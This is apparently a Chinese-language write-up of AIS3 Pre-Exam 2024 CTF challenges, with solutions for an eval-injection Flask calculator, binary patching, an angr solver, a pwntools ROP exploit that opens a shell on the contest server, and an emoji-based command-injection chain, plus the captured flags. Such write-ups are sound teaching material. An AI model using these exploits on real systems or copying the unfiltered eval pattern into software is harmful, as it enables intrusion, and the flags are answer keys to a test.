Web
Evil Calculator
網頁是一個簡單的計算機程式

透過攔截封包與 app.py 程式碼會發現他是將結果傳 POST 請求到 /calculate,並傳入 eval 做計算,所以可以傳入程式碼做解析,接下來看到 app.py 會發現傳送過去的 expression 空格跟底線都會被過濾,所以應該是不可以 import 其他東西,接下來看到 docker-compose.yml 可知 flag 在 /flag,因此直接透過開檔讀檔拿到 flag
app.py
1from flask import Flask, request, jsonify, render_template
2
3app = Flask(__name__)
4
5@app.route('/calculate', methods=['POST'])
6def calculate():
7 data = request.json
8 expression = data['expression'].replace(" ","").replace("_","")
9 try:
10 result = eval(expression)
11 except Exception as e:
12 result = str(e)
13 return jsonify(result=str(result))
14
15@app.route('/')
16def index():
17 return render_template('index.html')
18
19if __name__ == '__main__':
20 app.run("0.0.0.0",5001)
docker-compose.yml
1services:
2 evil_calc:
3 build: .
4 volumes:
5 - ./app:/app:ro
6 - ./flag:/flag:ro
7 ports:
8 - "5001:5001"
可以用 burp 或是 python


AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
Rev
The Long Print
先 decompile 後 (可以用 ida、ghidra、binary ninja…) 會發現他會先 sleep 很久才會 print 出 flag

所以可以改 sleep 值然後 patch 接下來 export 成執行檔
先找到控制 sleep 秒數的組語然後右鍵 patch instruction



format 記得要設定成 Original File

接下來執行程式會發現它慢慢 print 出 flag,不過他輸出完會被清掉,所以要在最後的時候按 enter 防止他被清掉

AIS3{You_are_the_master_of_time_management!!!!?}
火拳のエース
將檔案 decompile 發現他會先分配給 buffer0~3 malloc 空間,然後會先進 print_flag(),然後要輸入 4 個字串,接下來進 xor_string(),和 complex_funxtion(),把字串轉換後再做最後比對
main function

print_flag()
這邊會給出 flag 前墜 AIS3{G0D

xor_string()
就是把字串跟傳進去的陣列做 xor

complex_funxtion()
將傳入的參數做一些操作,好像也可以自己逆向,不過後面我選擇用 angr 做

MyFirstCTF 賽後出題者說可以用 Angr 解出來,因此就看了一下 Angr
而這邊因為是用 scanf 去讀字串且空間是 malloc 出來的關係,所以我們也必須手動模擬這一部分,然後因為 xor_string() 裡面有 call 到 sscanf(),所以我將開始的點設定為全部 xor_string() 走完之後,然後再手動做完 xor_string() 的部分
參考資料:https://blog.csdn.net/u013648063/article/details/108831809
找 buffer0~4 的 address (可以用 ghidra、ida,但我用 nm)

找到 heap 的 address (用 gdb 然後 vmmap)

傳入 xor_string() 的 array (用 ghidra 或是 ida)

1import angr
2import claripy
3
4def xor(s, key):
5 return ''.join(chr(ord(a) ^ b) for a, b in zip(s, key))
6
7def main():
8 start_addr = 0x080496ED
9 p = angr.Project("./rage")
10
11 initial_state = p.factory.blank_state(addr=start_addr)
12
13 length = 8
14
15 buffer0 = claripy.BVS("buffer0", length * 8)
16 buffer1 = claripy.BVS("buffer1", length * 8)
17 buffer2 = claripy.BVS("buffer2", length * 8)
18 buffer3 = claripy.BVS("buffer3", length * 8)
19
20 buffer0_addr = 0x090fb2d4
21 buffer1_addr = 0x090fb2d8
22 buffer2_addr = 0x090fb2dc
23 buffer3_addr = 0x090fb2e0
24 fake_addr0 = 0x804d000
25 fake_addr1 = 0x804d010
26 fake_addr2 = 0x804d020
27 fake_addr3 = 0x804d030
28
29 initial_state.memory.store(buffer0_addr, fake_addr0, endness=p.arch.memory_endness)
30 initial_state.memory.store(buffer1_addr, fake_addr1, endness=p.arch.memory_endness)
31 initial_state.memory.store(buffer2_addr, fake_addr2, endness=p.arch.memory_endness)
32 initial_state.memory.store(buffer3_addr, fake_addr3, endness=p.arch.memory_endness)
33
34 initial_state.memory.store(fake_addr0, buffer0)
35 initial_state.memory.store(fake_addr1, buffer1)
36 initial_state.memory.store(fake_addr2, buffer2)
37 initial_state.memory.store(fake_addr3, buffer3)
38
39 simgr = p.factory.simgr(initial_state)
40
41 success = 0x08049859
42 simgr.explore(find=success)
43
44 if simgr.found:
45 solution_state = simgr.found[0]
46 solution0 = solution_state.solver.eval(buffer0, cast_to=bytes)
47 solution1 = solution_state.solver.eval(buffer1, cast_to=bytes)
48 solution2 = solution_state.solver.eval(buffer2, cast_to=bytes)
49 solution3 = solution_state.solver.eval(buffer3, cast_to=bytes)
50 xorarr0 = [0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04]
51 xorarr1 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]
52 xorarr2 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]
53 xorarr3 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]
54 flag0 = xor(solution0.decode(), xorarr0)
55 flag1 = xor(solution1.decode(), xorarr1)
56 flag2 = xor(solution2.decode(), xorarr2)
57 flag3 = xor(solution3.decode(), xorarr3)
58 flag = "AIS3{G0D"+ flag0 + flag1 + flag2 + flag3
59 print(flag)
60
61if __name__ == "__main__":
62 main()
AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
PWN
Mathter
static linked 的 ROP 超基本題
static linked

decompile 後發現進了 calculator()

calculator() 基本上計算沒什麼問題及注入點,不過可以按 q 跳出 function,接下來會走到 goodbye()

goodbye() 會看到他使用 gets 讀輸入,因此可以輕易進行 buffer overflow 並修改 return address,並加上他沒有 PIE,所以是一題 ROP 基本題

solution:
先送 q 跳出 calculator(),接下來因為接收的字串宣告大小為 0x4,加上 save rbp 的 0x8,因此要先送 (0x4 + 0x8) 的字串,然後再串上 ROP Chain 就可以拿到 shell 了
1from pwn import *
2context.arch = 'amd64'
3#r = process('./mathter')
4r = remote('chals1.ais3.org', 50001)
5r.sendlineafter(b': ', b'q')
6rop = flat(
7 0x00000000004126a3, # pop rsi ; ret
8 0x4bc000, # writable address
9 0x000000000042e3a7, # pop rax ; ret
10 b'/bin/sh\x00',
11 0x000000000042f981, # mov qword ptr [rsi], rax ; ret
12 0x000000000042e3a7, # pop rax ; ret
13 0x3b, # execve
14 0x0000000000402540, # pop rdi ; ret
15 0x4bc000, # writable address
16 0x00000000004126a3, # pop rsi ; ret
17 0x0, # NULL
18 0x000000000047b917, # pop rdx ; pop rbx ; ret
19 0x0, # NULL
20 0x0, # NULL
21 0x00000000004013ea, # syscall
22)
23leave = b'A' * (0x4 + 0x8) + rop
24r.sendlineafter(b']\n', leave)
25r.interactive()

AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
Crypto
全都沒解
misc
Welcome
題目點開就有 flag 了

AIS3{Welc0me_to_AIS3_PreExam_2o24!}
Quantum Nim Heist
要先做一次正常輸入,讓 count 跟 pile 都被賦予值,不然會觸發 Exception error,後面可以用除了 0、1、2 以外的非正常操作讓自己跳過動作,但每次跳過 AI 都還是會做操作移除,所以等 AI 自己拿到剩下一堆時,就可以把最後一堆拿完也就獲勝並拿到 flag 了

AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
Emoji Console
打開網頁會發現是一個用 emoji 控制 command 的 console

找了一段時間發現有 🐱 跟 ⭐ 分別代表 cat、*, 可以輸出目前目錄底下所有檔案

有輸出程式碼,裡面有各個 emoji 的對應,還有輸出以下字串
由此可知,要先進到 flag 資料夾再看
然後剛好有 💿、🚩,分別對應 cd、flag 不過接下來要截斷指令才可以開啟內容,再慢慢思考發現 😓、🤬,對應的是;/、#$%&!,串接起來會是;/#$%&!,正好可以用來截斷指令,再搭配前面的 🐱 跟 ⭐,可以看到以下檔案,會發現是 python 檔,用來開 flag 檔案的,所以要執行這個檔案
💿 🚩 😓🤬 🐱 ⭐:

🐍 對應到 python,所以可以串 🐍 ⭐ 執行所有檔案
💿 🚩 😓🤬 🐍 ⭐:

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
Three Dimensional Secret
檔案是一個封包檔,不過我直接 strings 看他,會發現很多行都是這個格式,後面查了一下這個東西叫做 gcode,好像是用在 3D 列印

所以將所有 G 前墜的資料都挑出來放到另一個檔案
strings capture.pcapng|grep "G" > Gcode.gcode
後面隨便找個 gcode viewer,我這邊用的是 https://gcode.ws/ ,記得切換到 3D,然後就看到 flag 了

AIS3{b4d1y_tun3d_PriN73r}